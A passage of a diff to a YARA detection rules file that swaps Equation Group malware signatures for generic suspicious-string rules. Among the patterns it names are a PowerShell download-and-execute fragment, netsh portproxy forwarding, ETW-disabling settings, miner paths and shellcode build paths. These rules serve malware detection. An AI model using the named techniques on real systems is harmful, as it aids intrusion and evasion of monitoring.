+		hash1 = "13297f64a5f4dd9b08922c18ab100d3a3e6fdeab82f60a4653ab975b8ce393d5"
 
 	strings:
-		$s0 = "abababababab" fullword ascii
-		$s1 = "abcdefghijklmnopq" fullword ascii
-		$s2 = "@STATIC" fullword wide
-		$s3 = "$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" fullword ascii
-		$s4 = "@prkMtx" fullword wide
-		$s5 = "prkMtx" fullword wide
-		$s6 = "cnFormVoidFBC" fullword wide
+		$x1 = "IEX ((new-object net.webclient).download" ascii nocase
+		$fp1 = "chocolatey.org"
+		$fp2 = "Remote Desktop in the Appveyor"
+		$fp3 = "/appveyor/" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100000 and all of ($s*)
+		$x1 and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Equation_Kaspersky_Triplefantasy_Loader : FILE
+rule SIGNATURE_BASE_SUSP_Win32Dll_String : FILE
 {
 	meta:
-		description = "Equation Group Malware - TripleFantasy Loader"
+		description = "Detects suspicious string in executables"
 		author = "Florian Roth (Nextron Systems)"
-		id = "562e7855-f011-5985-91c0-622b2fec32f8"
-		date = "2015-02-16"
+		id = "b1c78386-c23d-5138-942a-3da90e5802cc"
+		date = "2018-10-24"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ivt8EW"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L320-L342"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4ce6e77a11b443cc7cbe439b71bf39a39d3d7fa3"
-		logic_hash = "f49735a587085e95f1a8e405e42e5ff3eb4beda1f26c7b4c3c0a33bec21f48c7"
-		score = 75
+		reference = "https://medium.com/@Sebdraven/apt-sidewinder-changes-theirs-ttps-to-install-their-backdoor-f92604a2739"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L220-L232"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "514596e078483920cedf0091cd769d8462acfd39956c3ed3e12d630b02ebb7cc"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7bd7cec82ee98feed5872325c2f8fd9f0ea3a2f6cd0cd32bcbe27dbbfd0d7da1"
 
 	strings:
-		$x1 = "Original Innovations, LLC" fullword wide
-		$x2 = "Moniter Resource Protocol" fullword wide
-		$x3 = "ahlhcib.dll" fullword wide
-		$s0 = "hnetcfg.HNetGetSharingServicesPage" fullword ascii
-		$s1 = "hnetcfg.IcfGetOperationalMode" fullword ascii
-		$s2 = "hnetcfg.IcfGetDynamicFwPorts" fullword ascii
-		$s3 = "hnetcfg.HNetFreeFirewallLoggingSettings" fullword ascii
-		$s4 = "hnetcfg.HNetGetShareAndBridgeSettings" fullword ascii
-		$s5 = "hnetcfg.HNetGetFirewallSettingsPage" fullword ascii
+		$s1 = "win32dll.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50000 and ( all of ($x*) and all of ($s*))
+		filesize <60KB and all of them
 }
-rule SIGNATURE_BASE_Equation_Kaspersky_Suspiciousstring : FILE
+rule SIGNATURE_BASE_SUSP_Modified_Systemexefilename_In_File : FILE
 {
 	meta:
-		description = "Equation Group Malware - suspicious string found in sample"
+		description = "Detecst a variant of a system file name often used by attackers to cloak their activity"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a5f203a7-0c50-5658-89f4-44533ed4eef0"
-		date = "2015-02-17"
+		id = "97d91e1b-49b8-504e-9e9c-6cfb7c2afe41"
+		date = "2018-12-11"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/ivt8EW"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L346-L364"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd7f72c2263a3af9b8c9072b415a3b066e821e000b52ddd684ecb6b80a99067a"
-		score = 60
+		reference = "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L234-L248"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "45c01024c4e6a3563cd27d8a78e2236d49aa795d24f322774a14b4c7289830c4"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5723f425e0c55c22c6b8bb74afb6b506943012c33b9ec1c928a71307a8c5889a"
+		hash2 = "f1f11830b60e6530b680291509ddd9b5a1e5f425550444ec964a08f5f0c1a44e"
 
 	strings:
-		$s1 = "i386\\DesertWinterDriver.pdb" fullword
-		$s2 = "Performing UR-specific post-install..."
-		$s3 = "Timeout waiting for the \"canInstallNow\" event from the implant-specific EXE!"
-		$s4 = "STRAITSHOOTER30.exe"
-		$s5 = "standalonegrok_2.1.1.1"
-		$s6 = "c:\\users\\rmgree5\\"
+		$s1 = "svchosts.exe" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500000 and all of ($s*)
+		uint16(0)==0x5a4d and filesize <200KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationdrug_Networksniffer1
+rule SIGNATURE_BASE_SUSP_JAVA_Class_With_VBS_Content : FILE
 {
 	meta:
-		description = "EquationDrug - Backdoor driven by network sniffer - mstcp32.sys, fat32.sys"
+		description = "Detects a JAVA class file with strings known from VBS files"
 		author = "Florian Roth (Nextron Systems)"
-		id = "21a500e7-3011-50e6-b685-f4f65d6dee17"
-		date = "2015-03-11"
-		modified = "2023-01-06"
-		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L368-L388"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "26e787997a338d8111d96c9a4c103cf8ff0201ce"
-		logic_hash = "ec90cba3b790c52f475a08b586f5af5a88ec46cfcf8abd74435981a34dfdb3f7"
-		score = 75
-		quality = 35
-		tags = ""
+		id = "5c1433e2-e2af-52aa-8a8c-691aaf15760d"
+		date = "2019-01-03"
+		modified = "2023-12-05"
+		reference = "https://www.menlosecurity.com/blog/a-jar-full-of-problems-for-financial-services-companies"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L250-L267"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5d73392437edd5e974809137c5158c17631e8a7a13464aa4df5f2dd1fd090042"
+		score = 60
+		quality = 83
+		tags = "FILE"
+		hash1 = "e0112efb63f2b2ac3706109a233963c19750b4df0058cc5b9d3fa1f1280071eb"
 
 	strings:
-		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
-		$s1 = "\\Registry\\User\\CurrentUser\\" wide
-		$s3 = "sys\\mstcp32.dbg" fullword ascii
-		$s7 = "mstcp32.sys" fullword wide
-		$s8 = "p32.sys" fullword ascii
-		$s9 = "\\Device\\%ws_%ws" wide
-		$s10 = "\\DosDevices\\%ws" wide
-		$s11 = "\\Device\\%ws" wide
+		$a1 = "java/lang/String" ascii
+		$s1 = ".vbs" ascii
+		$s2 = "createNewFile" fullword ascii
+		$s3 = "wscript" fullword ascii nocase
 
 	condition:
-		all of them
+		( uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca) and filesize <100KB and $a1 and 3 of ($s*)
 }
-rule SIGNATURE_BASE_Equationdrug_Compatlayer_Unilaydll : FILE
+rule SIGNATURE_BASE_SUSP_RAR_With_PDF_Script_Obfuscation : FILE
 {
 	meta:
-		description = "EquationDrug - Unilay.DLL"
-		author = "Florian Roth (Nextron Systems) @4nc4p"
-		id = "32fd31c7-cc44-50e1-8888-b9da59ce587b"
-		date = "2015-03-11"
+		description = "Detects RAR file with suspicious .pdf extension prefix to trick users"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a3d2f5e9-3052-551b-8b2c-abcdd1ac2e48"
+		date = "2019-04-06"
 		modified = "2023-12-05"
-		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L390-L402"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a3a31937956f161beba8acac35b96cb74241cd0f"
-		logic_hash = "86434bd0456ea0c9ac9ed74dc3cf63520eb6b880dd4ea7920d0e82873dfec21e"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L269-L285"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "05e9fd7620a70a490548d4562c80497bcf888e493b8e1188e0a0e0c274e2a7e5"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		hash1 = "b629b46b009a1c2306178e289ad0a3d9689d4b45c3d16804599f23c90c6bca5b"
 
 	strings:
-		$s0 = "unilay.dll" fullword ascii
+		$s1 = ".pdf.vbe" ascii
+		$s2 = ".pdf.vbs" ascii
+		$s3 = ".pdf.ps1" ascii
+		$s4 = ".pdf.bat" ascii
+		$s5 = ".pdf.exe" ascii
 
 	condition:
-		uint16(0)==0x5a4d and $s0
+		uint32(0)==0x21726152 and 1 of them
 }
-rule SIGNATURE_BASE_Equationdrug_HDDSSD_Op
+rule SIGNATURE_BASE_SUSP_Netsh_Portproxy_Command
 {
 	meta:
-		description = "EquationDrug - HDD/SSD firmware operation - nls_933w.dll"
-		author = "Florian Roth (Nextron Systems) @4nc4p"
-		id = "e2698f10-49e8-55da-bddc-e5c887f11bc7"
-		date = "2015-03-11"
+		description = "Detects a suspicious command line with netsh and the portproxy command"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cbbd2042-572c-5283-bd45-e745b36733ad"
+		date = "2019-04-20"
 		modified = "2023-12-05"
-		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L404-L416"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
-		logic_hash = "9b45b2016a15f22079c439ff33c20e49d3c846fb4dd83caf2880767ea513a6e3"
-		score = 75
+		reference = "https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-interface-portproxy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L287-L300"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dbf82a908e77886af1c31c51f5f6684015cbcb22bf28876c2e1b0dd1ea5bd2b4"
+		score = 65
 		quality = 85
 		tags = ""
+		hash1 = "9b33a03e336d0d02750a75efa1b9b6b2ab78b00174582a9b2cb09cd828baea09"
 
 	strings:
-		$s0 = "nls_933w.dll" fullword ascii
+		$x1 = "netsh interface portproxy add v4tov4 listenport=" ascii
 
 	condition:
-		all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Equationdrug_Networksniffer2
+rule SIGNATURE_BASE_SUSP_Dropperbackdoor_Keywords : FILE
 {
 	meta:
-		description = "EquationDrug - Network Sniffer - tdip.sys"
-		author = "Florian Roth (Nextron Systems) @4nc4p"
-		id = "afc5ae23-4965-5796-af3b-9e2705aea455"
-		date = "2015-03-11"
+		description = "Detects suspicious keywords that indicate a backdoor"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2942ba6d-a533-5954-bfcf-417262e2fac2"
+		date = "2019-04-24"
 		modified = "2023-12-05"
-		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L418-L437"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7e3cd36875c0e5ccb076eb74855d627ae8d4627f"
-		logic_hash = "d29744a801194e5488795a8167965b94290be477efe478ee3e71c4bc98733967"
-		score = 75
-		quality = 35
-		tags = ""
+		reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L302-L314"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e83fa95bb2b9ac821d0a00af23834495066ad2cad38ef4f4dcc81aee75415d74"
+		score = 65
+		quality = 85
+		tags = "FILE"
+		hash1 = "cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5"
 
 	strings:
-		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
-		$s1 = "IP Transport Driver" fullword wide
-		$s2 = "tdip.sys" fullword wide
-		$s3 = "sys\\tdip.dbg" fullword ascii
-		$s4 = "dip.sys" fullword ascii
-		$s5 = "\\Device\\%ws_%ws" wide
-		$s6 = "\\DosDevices\\%ws" wide
-		$s7 = "\\Device\\%ws" wide
+		$x4 = "DropperBackdoor" fullword wide ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationdrug_Networksniffer3
+rule SIGNATURE_BASE_SUSP_SFX_Cmd : FILE
 {
 	meta:
-		description = "EquationDrug - Network Sniffer - tdip.sys"
-		author = "Florian Roth (Nextron Systems) @4nc4p"
-		id = "c6b1658b-cbc6-535a-a3a2-15ce3cf6e4f6"
-		date = "2015-03-11"
+		description = "Detects suspicious SFX as used by Gamaredon group"
+		author = "Florian Roth (Nextron Systems)"
+		id = "87e75fe6-c2d7-5cb4-9432-7c37dbfe94b8"
+		date = "2018-09-27"
 		modified = "2023-12-05"
-		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L439-L454"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "14599516381a9646cd978cf962c4f92386371040"
-		logic_hash = "18c516fe0cd74e7a02ee15260abf3d27bba992492e6042a148abdee3086a9a00"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L316-L328"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "592de6a2165396c4ae8f494e26e56d0a759903b51167b1531b791897dce66868"
+		score = 65
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "965129e5d0c439df97624347534bc24168935e7a71b9ff950c86faae3baec403"
 
 	strings:
-		$s0 = "Corporation. All rights reserved." fullword wide
-		$s1 = "IP Transport Driver" fullword wide
-		$s2 = "tdip.sys" fullword wide
-		$s3 = "tdip.pdb" fullword ascii
+		$s1 = /RunProgram=\"hidcon:[a-zA-Z0-9]{1,16}.cmd/ fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationdrug_Volrec_Driver
+rule SIGNATURE_BASE_SUSP_XMRIG_Reference : FILE
 {
 	meta:
-		description = "EquationDrug - Collector plugin for Volrec - msrstd.sys"
-		author = "Florian Roth (Nextron Systems) @4nc4p"
-		id = "db4f3f65-bdc4-565d-ad59-25a16ec7c9d2"
-		date = "2015-03-11"
+		description = "Detects an executable with a suspicious XMRIG crypto miner reference"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0a7324ce-90dc-5e6a-b22a-c29eccf324e9"
+		date = "2019-06-20"
 		modified = "2023-12-05"
-		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L456-L470"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ee2b504ad502dc3fed62d6483d93d9b1221cdd6c"
-		logic_hash = "24b8202a8590ddb1dd76e01499d02282ad40a6fd6f6b9020040381a370e91f40"
-		score = 75
+		reference = "https://twitter.com/itaitevet/status/1141677424045953024"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L330-L342"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c1e6f5fc390a8ada0688885bba7ed90372915deba5a5e7e5b0cd17ec450ce240"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s0 = "msrstd.sys" fullword wide
-		$s1 = "msrstd.pdb" fullword ascii
-		$s2 = "msrstd driver" fullword wide
+		$x1 = "\\xmrig\\" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationdrug_Kernelrootkit
+rule SIGNATURE_BASE_SUSP_Just_EICAR : FILE
 {
 	meta:
-		description = "EquationDrug - Kernel mode stage 0 and rootkit (Windows 2000 and above) - msndsrv.sys"
+		description = "Just an EICAR test file - this is boring but users asked for it"
 		author = "Florian Roth (Nextron Systems)"
-		id = "92491e30-4041-5c8b-8e4e-7bc2b1d3234b"
-		date = "2015-03-11"
-		modified = "2023-01-06"
-		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L472-L492"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "597715224249e9fb77dc733b2e4d507f0cc41af6"
-		logic_hash = "4b41af8656ada1b4db7ec11f65aeb2d335f424d8557cfa74a064b40c65627012"
-		score = 75
-		quality = 60
-		tags = ""
+		id = "e5eedd77-36e2-56a0-be0c-2553043c225a"
+		date = "2019-03-24"
+		modified = "2023-12-05"
+		reference = "http://2016.eicar.org/85-0-Download.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L344-L357"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a48fc3542fb07131fe0a2e25277009d21b9ca7c9e112873249e5b9c31511af79"
+		score = 40
+		quality = 85
+		tags = "FILE"
+		hash1 = "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"
 
 	strings:
-		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
-		$s1 = "Parmsndsrv.dbg" fullword ascii
-		$s2 = "\\Registry\\User\\CurrentUser\\" wide
-		$s3 = "msndsrv.sys" fullword wide
-		$s5 = "\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Control\\Windows" wide
-		$s6 = "\\Device\\%ws_%ws" wide
-		$s7 = "\\DosDevices\\%ws" wide
-		$s9 = "\\Device\\%ws" wide
+		$s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x3558 and filesize <70 and $s1 at 0
 }
-rule SIGNATURE_BASE_Equationdrug_Keylogger
+rule SIGNATURE_BASE_SUSP_PDB_Path_Keywords : FILE
 {
 	meta:
-		description = "EquationDrug - Key/clipboard logger driver - msrtvd.sys"
-		author = "Florian Roth (Nextron Systems) @4nc4p"
-		id = "57b6af34-577b-58ec-9a9e-91911c32270b"
-		date = "2015-03-11"
+		description = "Detects suspicious PDB paths"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cbd9b331-58bb-5b29-88a2-5c19f12893a9"
+		date = "2019-10-04"
 		modified = "2023-12-05"
-		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L494-L509"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b93aa17b19575a6e4962d224c5801fb78e9a7bb5"
-		logic_hash = "b5db0e6e24979b07cd180fed11545daef281e7b0858a7de001a83c2cbc186557"
-		score = 75
+		reference = "https://twitter.com/stvemillertime/status/1179832666285326337?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L359-L385"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "274b4b40190b8f7e3d123fad63e2bb6b2114a3dbef062791d442109cac149b08"
+		score = 65
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s0 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" wide
-		$s2 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\En" wide
-		$s3 = "\\DosDevices\\Gk" wide
-		$s5 = "\\Device\\Gk0" wide
+		$ = "Debug\\Shellcode" ascii
+		$ = "Release\\Shellcode" ascii
+		$ = "Debug\\ShellCode" ascii
+		$ = "Release\\ShellCode" ascii
+		$ = "Debug\\shellcode" ascii
+		$ = "Release\\shellcode" ascii
+		$ = "shellcode.pdb" nocase ascii
+		$ = "\\ShellcodeLauncher" ascii
+		$ = "\\ShellCodeLauncher" ascii
+		$ = "Fucker.pdb" ascii
+		$ = "\\AVFucker\\" ascii
+		$ = "ratTest.pdb" ascii
+		$ = "Debug\\CVE_" ascii
+		$ = "Release\\CVE_" ascii
+		$ = "Debug\\cve_" ascii
+		$ = "Release\\cve_" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and 1 of them
 }
-rule SIGNATURE_BASE_Equationdrug_Platformorchestrator
+rule SIGNATURE_BASE_SUSP_Disable_ETW_Jun20_1
 {
 	meta:
-		description = "EquationDrug - Platform orchestrator - mscfg32.dll, svchost32.dll"
-		author = "Florian Roth (Nextron Systems) @4nc4p"
-		id = "ce19ed3c-9dd9-5cb0-99fe-c04fde057293"
-		date = "2015-03-11"
+		description = "Detects method to disable ETW in ENV vars before executing a program"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ea5dee09-959e-5ef2-8f84-5497bdef0a05"
+		date = "2020-06-06"
 		modified = "2023-12-05"
-		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L537-L554"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "febc4f30786db7804008dc9bc1cebdc26993e240"
-		logic_hash = "26c3b84a00702f155daa50c8f17e5f37e1aac46adde8a06a711e732a4cd806e9"
-		score = 75
+		reference = "https://gist.github.com/Cyb3rWard0g/a4a115fd3ab518a0e593525a379adee3"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L387-L405"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "182ad2512bcfbcd92d13380113b32982eb367e458019f07038a12f494dfbebb6"
+		score = 65
 		quality = 85
 		tags = ""
 
 	strings:
-		$s0 = "SERVICES.EXE" fullword wide
-		$s1 = "\\command.com" wide
-		$s2 = "Microsoft(R) Windows (TM) Operating System" fullword wide
-		$s3 = "LSASS.EXE" fullword wide
-		$s4 = "Windows Configuration Services" fullword wide
-		$s8 = "unilay.dll" fullword ascii
+		$x1 = "set COMPlus_ETWEnabled=0" ascii wide fullword
+		$x2 = "$env:COMPlus_ETWEnabled=0" ascii wide fullword
+		$s1 = "Software\\Microsoft.NETFramework" ascii wide
+		$sa1 = "/v ETWEnabled" ascii wide fullword
+		$sa2 = " /d 0" ascii wide
+		$sb4 = "-Name ETWEnabled"
+		$sb5 = " -Value 0 "
 
 	condition:
-		all of them
+		1 of ($x*) or 3 of them
 }
-rule SIGNATURE_BASE_Equationdrug_Networksniffer5
+rule SIGNATURE_BASE_SUSP_PE_Discord_Attachment_Oct21_1 : FILE
 {
 	meta:
-		description = "EquationDrug - Network-sniffer/patcher - atmdkdrv.sys"
+		description = "Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9eac2c51-3ad7-5346-a985-39733bc204c2"
-		date = "2015-03-11"
-		modified = "2023-01-06"
-		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L556-L574"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "09399b9bd600d4516db37307a457bc55eedcbd17"
-		logic_hash = "84f009e2ef639e5270273a7d9dd2542fdf1386c4c8363071d711e2333a112cd1"
-		score = 75
-		quality = 60
-		tags = ""
+		id = "7c217350-4a35-505d-950d-1bc989c14bc2"
+		date = "2021-10-12"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_strings.yar#L407-L421"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4d84ec50738f4c7aca8e77c3aabdcd77f3071733a2245a58283f070f2b220599"
+		score = 70
+		quality = 85
+		tags = "FILE"
 
 	strings:
-		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
-		$s1 = "\\Registry\\User\\CurrentUser\\" wide
-		$s2 = "atmdkdrv.sys" fullword wide
-		$s4 = "\\Device\\%ws_%ws" wide
-		$s5 = "\\DosDevices\\%ws" wide
-		$s6 = "\\Device\\%ws" wide
+		$x1 = "https://cdn.discordapp.com/attachments/" ascii wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <5000KB and 1 of them
 }
-rule SIGNATURE_BASE_Equationdrug_Filesystem_Filter
+rule SIGNATURE_BASE_SUSP_Encoded_Discord_Attachment_Oct21_1 : FILE
 {
 	meta:
-		description = "EquationDrug - Filesystem filter driver - volrec.sys, scsi2mgr.sys"
-		author = "Florian Roth (Nextron Systems) @4nc4p"
-		id = "7077daf6-3d51-5ff2-bc74-95cb169a7cd2"
-		date = "2015-03-11"
+		description = "Detects suspicious encoded URL to a Discord attachment (often used for malware hosting on a legitimate FQDN)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "06c086f4-8b79-5506-9e3f-b5d099106157"
+		date = "2021-10-12"
 		modified = "2023-12-05"
-		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/spy_equation_fiveeyes.yar#L576-L590"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "57fa4a1abbf39f4899ea76543ebd3688dcc11e13"
-		logic_hash = "5da0c279da1b84a41e7d15df3c19cd50af1872156f133de0a367b9140425aa11"
-		score = 75
